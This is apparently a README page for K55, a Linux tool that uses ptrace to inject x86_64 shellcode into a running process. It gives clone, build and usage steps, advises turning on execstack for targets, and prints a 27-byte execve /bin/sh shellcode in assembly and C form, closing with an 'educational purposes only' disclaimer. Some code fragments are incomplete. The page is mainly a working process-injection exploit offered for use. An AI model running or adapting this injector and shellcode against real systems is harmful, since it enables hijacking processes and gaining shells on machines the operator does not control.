(pronounced: “kay fifty-five”)
The K55 payload injection tool is used for injecting x86_64 shellcode payloads into running processes. The utility was developed using modern C++11 techniques as well as some traditional C linux functions like
ptrace(). The shellcode spawned in the target process is 27 bytes and it executes /bin/sh (spawns a bash shell) within the target’s address space. In the future, I will allow users to input there own shellcode via command line arguments.
git clone https://github.com/josh0xA/K55.git
chmod +x build-install.sh
Usage: ./K55 <process-name>
- process-name can be any linux process with
Test 1) In one terminal (K55/ Directory), run:
Test 2) In another terminal, run the injector:
K55 In Action
- A shell is spawned in k55_test_process when the K55 shellcode injector is ran (as root).
Injecting Into Given Process
Shell Spawned In Target
ptrace(PTRACE_POKETEXT...) calls are not the most disguised. So, some applications can limit the effect of K55. Although, for security testing, make sure to turn on
execstack for your target applications. For example if I’m testing on gdb, before I would inject, I would run the following:
sudo execstack -s /usr/bin/gdb. Install execstack from you distrobutions package manager. For Arch Linux users, you can find execstack on the AUR.
Crafting The Shell Payload
Note: The following is a demonstration. The payload string is already hardcoded into K55.
Assembly Implementation of The Payload (Cited from shell-storm (redirect))
xor eax, eax
mov rbx, 0xFF978CD091969DD1
mov al, 0x3b
C-Implementation of The Payload
// Shellcode breakdown of the assembly code.
char code = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
printf("len:%d bytes\n", strlen(code));
This is only an educational purposes only I am not responsible for further activities
Join my forum and learn more ethical hacking and penetration testing
Get me at